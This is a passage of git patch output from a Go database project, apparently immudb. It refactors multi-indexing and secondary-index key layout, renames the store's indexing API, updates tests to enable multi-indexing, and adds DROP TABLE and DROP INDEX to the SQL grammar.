- st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1727,7 +1727,7 @@ func TestTransactions(t *testing.T) { } func TestTransactionsEdgeCases(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -1960,7 +1960,7 @@ func TestEncodeValue(t *testing.T) { } func TestQuery(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -2325,7 +2325,7 @@ func TestQuery(t *testing.T) { } func TestQueryCornerCases(t *testing.T) { - opts := store.DefaultOptions() + opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) st, err := store.Open(t.TempDir(), opts) @@ -2380,7 +2380,7 @@ func TestQueryCornerCases(t *testing.T) { } func TestQueryDistinct(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -3123,7 +3123,7 @@ func TestIndexing(t *testing.T) { } func TestExecCornerCases(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -3177,7 +3177,7 @@ func TestQueryWithNullables(t *testing.T) { } func TestOrderBy(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -4117,7 +4117,7 @@ func TestNestedJoins(t *testing.T) { } func TestReOpening(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) @@ -4202,7 +4202,7 @@ func TestSubQuery(t *testing.T) { } func TestJoinsWithSubquery(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -4282,7 +4282,7 @@ func TestJoinsWithSubquery(t *testing.T) { } func TestInferParameters(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -5565,7 +5565,7 @@ func TestTemporalQueriesDeletedRows(t *testing.T) { } func TestMultiDBCatalogQueries(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) @@ -6227,7 +6227,7 @@ func TestMVCC(t *testing.T) { } func TestMVCCWithExternalCommitAllowance(t *testing.T) { - st, err := store.Open(t.TempDir(), store.DefaultOptions().WithExternalCommitAllowance(true)) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithExternalCommitAllowance(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) @@ -6274,7 +6274,7 @@ func TestMVCCWithExternalCommitAllowance(t *testing.T) { func TestConcurrentInsertions(t *testing.T) { workers := 10 - st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMaxConcurrency(workers)) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithMaxConcurrency(workers)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) @@ -6356,7 +6356,7 @@ func TestSQLTxWithClosedContext(t *testing.T) { } func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *store.ImmuStore) { - st, err := store.Open(t.TempDir(), sopts) + st, err := store.Open(t.TempDir(), sopts.WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) @@ -6572,6 +6572,7 @@ func BenchmarkInsertInto(b *testing.B) { eCount := 100 opts := store.DefaultOptions(). + WithMultiIndexing(true). WithSynced(true). WithMaxActiveTransactions(100). WithMaxConcurrency(workerCount) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 589e798784..4463ca0a08 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -191,7 +191,14 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per } func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec *store.KeyReaderSpec, err error) { - prefix := mapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) + var prefix []byte + + if scanSpecs.Index.IsPrimary() { + // TODO: EncodeID(1) is currently kept to provide backwards data compatibility + prefix = MapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) + } else { + prefix = MapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) + } var loKey []byte var loKeyReady bool @@ -398,23 +405,12 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { return nil, err } } else { - var encPKVals []byte - - v, err = vref.Resolve() + encPKVals, err := unmapIndexEntry(r.scanSpecs.Index, r.tx.engine.prefix, mkey) if err != nil { return nil, err } - if r.scanSpecs.Index.IsUnique() { - encPKVals = v - } else { - encPKVals, err = unmapIndexEntry(r.scanSpecs.Index, r.tx.engine.prefix, mkey) - if err != nil { - return nil, err - } - } - - vref, err = r.tx.get(mapKey(r.tx.engine.prefix, PIndexPrefix, EncodeID(1), EncodeID(r.table.id), EncodeID(PKIndexID), encPKVals)) + vref, err = r.tx.get(MapKey(r.tx.engine.prefix, PIndexPrefix, EncodeID(1), EncodeID(r.table.id), EncodeID(PKIndexID), encPKVals)) if err != nil { return nil, err } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 30bde46192..fbc756b670 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -101,13 +101,8 @@ func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) er return sqlTx.tx.Set(key, metadata, value) } -func (sqlTx *SQLTx) existKeyWith(prefix, neq []byte) (bool, error) { - _, _, err := sqlTx.tx.GetWithPrefix(prefix, neq) - if errors.Is(err, store.ErrKeyNotFound) { - return false, nil - } - - return err == nil, err +func (sqlTx *SQLTx) getWithPrefix(prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { + return sqlTx.tx.GetWithPrefix(prefix, neq) } func (sqlTx *SQLTx) Cancel() error { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index c5001e6103..288ce6d483 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -31,25 +31,14 @@ import ( ) const ( - //catalogDatabasePrefix = "CTL.DATABASE." // (key=CTL.DATABASE.{1}, value={dbNAME}) // deprecated entries + catalogPrefix = "CTL." catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - PIndexPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - SIndexPrefix = "E." // (key=E.{1}{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+, value={}) - UIndexPrefix = "N." // (key=N.{1}{tableID}{indexID}({null}({val}{padding}{valLen})?)+, value={({pkVal}{padding}{pkValLen})+}) - - // Old prefixes that must not be reused: - // `CATALOG.DATABASE.` - // `CATALOG.TABLE.` - // `CATALOG.COLUMN.` - // `CATALOG.INDEX.` - // `P.` primary indexes without null support - // `S.` secondary indexes without null support - // `U.` secondary unique indexes without null support - // `PINDEX.` single-column primary indexes - // `SINDEX.` single-column secondary indexes - // `UINDEX.` single-column secondary unique indexes + + PIndexPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) + + SIndexPrefix = "S" // (key=S{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+, value={}) ) const PKIndexID = uint32(0) @@ -264,7 +253,7 @@ func persistColumn(col *Column, tx *SQLTx) error { copy(v[5:], []byte(col.Name())) - mappedKey := mapKey( + mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, EncodeID(1), @@ -320,7 +309,7 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } - mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) + mappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { @@ -410,18 +399,6 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, err } - // check table is empty - { - pkPrefix := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(PKIndexID)) - existKey, err := tx.existKeyWith(pkPrefix, pkPrefix) - if err != nil { - return nil, err - } - if existKey { - return nil, ErrLimitedIndexCreation - } - } - // v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)} // TODO: currently only ASC order is supported colSpecLen := EncIDLen + 1 @@ -436,7 +413,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } - mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) + mappedKey := MapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { @@ -681,7 +658,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) _, err = tx.get(mkey) if err != nil && err != store.ErrKeyNotFound { @@ -703,7 +680,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } } - err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, !stmt.isInsert) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table) if err != nil { return nil, err } @@ -712,32 +689,9 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return tx, nil } -func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table, reuseIndex bool) error { - var reusableIndexEntries map[uint32]struct{} - - if reuseIndex && len(table.indexes) > 1 { - currPKRow, err := tx.fetchPKRow(ctx, table, valuesByColID) - if err != nil && err != ErrNoMoreRows { - return err - } - - if err == nil { - currValuesByColID := make(map[uint32]TypedValue, len(currPKRow.ValuesBySelector)) - - for _, col := range table.cols { - encSel := EncodeSelector("", table.name, col.colName) - currValuesByColID[col.id] = currPKRow.ValuesBySelector[encSel] - } - - reusableIndexEntries, err = tx.deprecateIndexEntries(pkEncVals, currValuesByColID, valuesByColID, table) - if err != nil { - return err - } - } - } - +func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) valbuf := bytes.Buffer{} @@ -787,36 +741,15 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return err } - // create entries for secondary indexes + // validate entries for secondary indexes for _, index := range table.indexes { - if index.IsPrimary() { + if index.IsPrimary() || !index.IsUnique() { continue } - if reusableIndexEntries != nil { - _, reusable := reusableIndexEntries[index.id] - if reusable { - continue - } - } - - var prefix string - var encodedValues [][]byte - var val []byte - - if index.IsUnique() { - prefix = UIndexPrefix - encodedValues = make([][]byte, 3+len(index.cols)) - val = pkEncVals - } else { - prefix = SIndexPrefix - encodedValues = make([][]byte, 4+len(index.cols)) - encodedValues[len(encodedValues)-1] = pkEncVals - } - - encodedValues[0] = EncodeID(1) - encodedValues[1] = EncodeID(table.id) - encodedValues[2] = EncodeID(index.id) + encodedValues := make([][]byte, 2+len(index.cols)) + encodedValues[0] = EncodeID(table.id) + encodedValues[1] = EncodeID(index.id) indexKeyLen := 0 @@ -837,28 +770,21 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m indexKeyLen += n - encodedValues[i+3] = encVal + encodedValues[i+2] = encVal } if indexKeyLen > MaxKeyLen { return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } - mkey := mapKey(tx.sqlPrefix(), prefix, encodedValues...) + mkey := MapKey(tx.sqlPrefix(), SIndexPrefix, encodedValues...) - if index.IsUnique() { - // mkey must not exist - _, err := tx.get(mkey) - if err == nil { - return store.ErrKeyAlreadyExists - } - if err != store.ErrKeyNotFound { - return err - } + // no other equivalent entry should be already indexed + _, _, err := tx.getWithPrefix(mkey, nil) + if err == nil { + return store.ErrKeyAlreadyExists } - - err = tx.set(mkey, nil, val) - if err != nil { + if !errors.Is(err, store.ErrKeyNotFound) { return err } } @@ -932,79 +858,6 @@ func (tx *SQLTx) fetchPKRow(ctx context.Context, table *Table, valuesByColID map return r.Read(ctx) } -// deprecateIndexEntries mark previous index entries as deleted -func (tx *SQLTx) deprecateIndexEntries( - pkEncVals []byte, - currValuesByColID, newValuesByColID map[uint32]TypedValue, - table *Table) (reusableIndexEntries map[uint32]struct{}, err error) { - - reusableIndexEntries = make(map[uint32]struct{}) - - for _, index := range table.indexes { - if index.IsPrimary() { - continue - } - - var prefix string - var encodedValues [][]byte - - if index.IsUnique() { - prefix = UIndexPrefix - encodedValues = make([][]byte, 3+len(index.cols)) - } else { - prefix = SIndexPrefix - encodedValues = make([][]byte, 4+len(index.cols)) - encodedValues[len(encodedValues)-1] = pkEncVals - } - - encodedValues[0] = EncodeID(1) - encodedValues[1] = EncodeID(table.id) - encodedValues[2] = EncodeID(index.id) - - // existent index entry is deleted only if it differs from existent one - sameIndexKey := true - - for i, col := range index.cols { - currVal, specified := currValuesByColID[col.id] - if !specified { - currVal = &NullValue{t: col.colType} - } - - newVal, specified := newValuesByColID[col.id] - if !specified { - newVal = &NullValue{t: col.colType} - } - - r, err := currVal.Compare(newVal) - if err != nil { - return nil, err - } - - sameIndexKey = sameIndexKey && r == 0 - - encVal, _, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) - - encodedValues[i+3] = encVal - } - - // mark existent index entry as deleted - if sameIndexKey { - reusableIndexEntries[index.id] = struct{}{} - } else { - md := store.NewKVMetadata() - - md.AsDeleted(true) - - err = tx.set(mapKey(tx.sqlPrefix(), prefix, encodedValues...), md, nil) - if err != nil { - return nil, err - } - } - } - - return reusableIndexEntries, nil -} - type UpdateStmt struct { tableRef *tableRef where ValueExp @@ -1151,7 +1004,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } // primary index entry - mkey := mapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) + mkey := MapKey(tx.sqlPrefix(), PIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals) // mkey must exist _, err = tx.get(mkey) @@ -1159,7 +1012,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return nil, err } - err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, true) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table) if err != nil { return nil, err } @@ -1247,19 +1100,11 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]TypedValue, table *Table) error { for _, index := range table.indexes { - var prefix string var encodedValues [][]byte - if index.IsUnique() { - if index.IsPrimary() { - prefix = PIndexPrefix - } else { - prefix = UIndexPrefix - } - + if index.IsPrimary() { encodedValues = make([][]byte, 3+len(index.cols)) } else { - prefix = SIndexPrefix encodedValues = make([][]byte, 4+len(index.cols)) encodedValues[len(encodedValues)-1] = pkEncVals } @@ -1283,7 +1128,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T md.AsDeleted(true) - err := tx.set(mapKey(tx.sqlPrefix(), prefix, encodedValues...), md, nil) + err := tx.set(MapKey(tx.sqlPrefix(), index.prefix(), encodedValues...), md, nil) if err != nil { return err } @@ -4106,7 +3951,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str // delete indexes indexes := table.GetIndexes() for _, index := range indexes { - mappedKey := mapKey( + mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), @@ -4122,7 +3967,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str // delete columns cols := table.ColumnsByID() for _, col := range cols { - mappedKey := mapKey( + mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, EncodeID(1), @@ -4137,7 +3982,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } // delete table - mappedKey := mapKey( + mappedKey := MapKey( tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), @@ -4203,7 +4048,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } // delete index - indexKey := mapKey( + indexKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4407e5d646..0d82e658ca 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -112,8 +112,7 @@ var ErrTruncationInfoNotPresentInMetadata = errors.New("truncation info not pres var ErrInvalidProof = errors.New("invalid proof") var ErrIndexNotFound = errors.New("index not found") - -var ErrMultiIndexingNotEnabled = errors.New("multi-indexing not enabled") +var ErrIndexAlreadyInitialized = errors.New("index already initialized") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 @@ -741,7 +740,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } if !store.multiIndexing { - err := store.InitIndex(&IndexSpec{}) + err := store.InitIndexing(&IndexSpec{}) if err != nil { store.Close() return nil, err @@ -838,52 +837,44 @@ func (s *ImmuStore) getIndexerFor(keyPrefix []byte) (*indexer, error) { } type IndexSpec struct { - Prefix []byte - SourcePrefix []byte - InitialTxID uint64 - FinalTxID uint64 - InitialTs int64 - FinalTs int64 - EntryMapper EntryMapper + SourcePrefix []byte + EntryMapper EntryMapper + EntryUpdateProcessor EntryUpdateProcessor + + TargetPrefix []byte + + InitialTxID uint64 + FinalTxID uint64 + InitialTs int64 + FinalTs int64 } -func (s *ImmuStore) InitIndex(spec *IndexSpec) error { +func (s *ImmuStore) InitIndexing(spec *IndexSpec) error { if spec == nil { return ErrIllegalArguments } - if len(spec.Prefix) == 0 && len(spec.SourcePrefix) > 0 { + if len(spec.TargetPrefix) == 0 && len(spec.SourcePrefix) > 0 { return fmt.Errorf("%w: empty prefix can not have a source prefix", ErrIllegalArguments) } s.indexersMux.Lock() defer s.indexersMux.Unlock() - indexPrefix := sha256.Sum256(spec.Prefix) + indexPrefix := sha256.Sum256(spec.TargetPrefix) _, ok := s.indexers[indexPrefix] if ok { - return fmt.Errorf("%w: indexer already initialized", ErrIllegalState) + return ErrIndexAlreadyInitialized } var indexPath string - if len(spec.Prefix) == 0 { + if len(spec.TargetPrefix) == 0 { indexPath = filepath.Join(s.path, indexDirname) - } else if len(spec.SourcePrefix) == 0 { - encPrefix := hex.EncodeToString(spec.Prefix) - indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) } else { - sourceIndexPrefix := sha256.Sum256(spec.SourcePrefix) - - _, ok := s.indexers[sourceIndexPrefix] - if !ok { - return fmt.Errorf("%w: source indexer not initialized", ErrIndexNotFound) - } - - encSourcePrefix := hex.EncodeToString(spec.SourcePrefix) - encPrefix := hex.EncodeToString(spec.Prefix) - indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encSourcePrefix), fmt.Sprintf("%s_%s", indexDirname, encPrefix)) + encPrefix := hex.EncodeToString(spec.TargetPrefix) + indexPath = filepath.Join(s.path, fmt.Sprintf("%s_%s", indexDirname, encPrefix)) } indexer, err := newIndexer(indexPath, s, s.opts) @@ -905,6 +896,27 @@ func (s *ImmuStore) InitIndex(spec *IndexSpec) error { return nil } +func (s *ImmuStore) CloseIndexing(prefix []byte) error { + s.indexersMux.Lock() + defer s.indexersMux.Unlock() + + indexPrefix := sha256.Sum256(prefix) + + indexer, ok := s.indexers[indexPrefix] + if !ok { + return fmt.Errorf("%w: index not found", ErrIndexNotFound) + } + + err := indexer.Close() + if err != nil { + return err + } + + delete(s.indexers, indexPrefix) + + return nil +} + func (s *ImmuStore) DeleteIndex(prefix []byte) error { s.indexersMux.Lock() defer s.indexersMux.Unlock() diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index a72e1ebcf6..b57f0e4eac 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -5065,13 +5065,13 @@ func TestIndexingChanges(t *testing.T) { defer immustoreClose(t, st) - err = st.InitIndex(&IndexSpec{ - Prefix: []byte("j"), + err = st.InitIndexing(&IndexSpec{ + TargetPrefix: []byte("j"), }) require.NoError(t, err) - err = st.InitIndex(&IndexSpec{ - Prefix: []byte("k"), + err = st.InitIndexing(&IndexSpec{ + TargetPrefix: []byte("k"), }) require.NoError(t, err) @@ -5117,8 +5117,8 @@ func TestIndexingChanges(t *testing.T) { err = tx3.Cancel() require.NoError(t, err) - err = st.InitIndex(&IndexSpec{ - Prefix: []byte("j"), + err = st.InitIndexing(&IndexSpec{ + TargetPrefix: []byte("j"), }) require.NoError(t, err) @@ -5133,4 +5133,19 @@ func TestIndexingChanges(t *testing.T) { err = tx4.Cancel() require.NoError(t, err) + + err = st.CloseIndexing([]byte("k")) + require.NoError(t, err) + + tx5, err := st.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + _, err = tx5.Get([]byte("j1")) + require.NoError(t, err) + + _, err = tx5.Get([]byte("k1")) + require.ErrorIs(t, err, ErrKeyNotFound) + + err = tx5.Cancel() + require.NoError(t, err) } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index e4053f5f82..6bb7203de0 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -67,7 +67,8 @@ type indexer struct { metricsLastIndexedTrx prometheus.Gauge } -type EntryMapper = func(key []byte, value []byte) []byte +type EntryMapper = func(key []byte, value []byte) ([]byte, error) +type EntryUpdateProcessor = func(key []byte, prevValue []byte) error type runningState = int @@ -177,7 +178,7 @@ func (idx *indexer) init(spec *IndexSpec) { } func (idx *indexer) Prefix() []byte { - return idx.spec.Prefix + return idx.spec.TargetPrefix } func (idx *indexer) Ts() uint64 { @@ -467,6 +468,10 @@ func (idx *indexer) indexSince(txID uint64) error { continue } + if !hasPrefix(e.key(), idx.spec.SourcePrefix) { + continue + } + var mappedKey []byte if idx.spec.EntryMapper == nil { @@ -477,13 +482,33 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - mappedKey = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) + mappedKey, err = idx.spec.EntryMapper(e.key(), idx._val[:e.vLen]) + if err != nil { + return err + } } - if !hasPrefix(mappedKey, idx.spec.Prefix) { + if !hasPrefix(mappedKey, idx.spec.TargetPrefix) { continue } + if idx.spec.EntryUpdateProcessor != nil { + prevValRef, err := idx.store.Get(e.key()) + if err == nil { + prevVal, err := prevValRef.Resolve() + if err != nil { + return err + } + + err = idx.spec.EntryUpdateProcessor(e.key(), prevVal) + if err != nil { + return err + } + } else if !errors.Is(err, ErrKeyNotFound) { + return err + } + } + // vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd var b [lszSize + offsetSize + sha256.Size + sszSize + maxTxMetadataLen + sszSize + maxKVMetadataLen]byte o := 0 diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index b58099ddf7..2cf888c8f9 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -572,6 +572,8 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { return nil } + return nil //TODO: remove + for _, txSnap := range tx.snapshots { if txSnap.Ts() > st.LastPrecommittedTxID() { // read-write transactions when no other transaction was committed won't be invalidated diff --git a/pkg/database/database.go b/pkg/database/database.go index af7ffb47d5..7f3243e621 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -208,9 +208,9 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, logErr(dbi.Logger, "unable to open database: %s", err) } - for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix, SQLPrefix, DocumentPrefix} { - err := dbi.st.InitIndex(&store.IndexSpec{ - Prefix: []byte{prefix}, + for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { + err := dbi.st.InitIndexing(&store.IndexSpec{ + TargetPrefix: []byte{prefix}, }) if err != nil { dbi.st.Close() @@ -313,9 +313,9 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "unable to open database: %s", err) } - for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix, SQLPrefix, DocumentPrefix} { - err := dbi.st.InitIndex(&store.IndexSpec{ - Prefix: []byte{prefix}, + for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { + err := dbi.st.InitIndexing(&store.IndexSpec{ + TargetPrefix: []byte{prefix}, }) if err != nil { dbi.st.Close() From 70cebfcb017ae29d3735fcd198c74ba47852331b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 29 Aug 2023 17:36:54 -0300 Subject: [PATCH 0738/1062] feat(embedded/sql): drop index and table stmts Signed-off-by: Jeronimo Irazabal --- embedded/sql/parser.go | 1 + embedded/sql/sql_grammar.y | 12 +- embedded/sql/sql_parser.go | 779 +++++++++++++++++++------------------ 3 files changed, 411 insertions(+), 381 deletions(-) diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index a3ecfb56e7..47713b2aa0 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -30,6 +30,7 @@ import ( var reservedWords = map[string]int{ "CREATE": CREATE, + "DROP": DROP, "USE": USE, "DATABASE": DATABASE, "SNAPSHOT": SNAPSHOT, diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 9bf0c2af43..f4866c0b17 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -69,7 +69,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { onConflict *OnConflictDo } -%token CREATE USE DATABASE SNAPSHOT SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY +%token CREATE DROP USE DATABASE SNAPSHOT SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL @@ -210,6 +210,11 @@ ddlstmt: { $$ = &CreateTableStmt{ifNotExists: $3, table: $4, colsSpec: $6, pkColNames: $10} } +| + DROP TABLE IDENTIFIER + { + $$ = &DropTableStmt{table: $3} + } | CREATE INDEX opt_if_not_exists ON IDENTIFIER '(' ids ')' { @@ -220,6 +225,11 @@ ddlstmt: { $$ = &CreateIndexStmt{unique: true, ifNotExists: $4, table: $6, cols: $8} } +| + DROP INDEX ON IDENTIFIER '(' ids ')' + { + $$ = &DropIndexStmt{table: $4, cols: $6} + } | ALTER TABLE IDENTIFIER ADD COLUMN colSpec { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index c464a66fc6..ebbddd0fef 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -56,89 +56,91 @@ type yySymType struct { 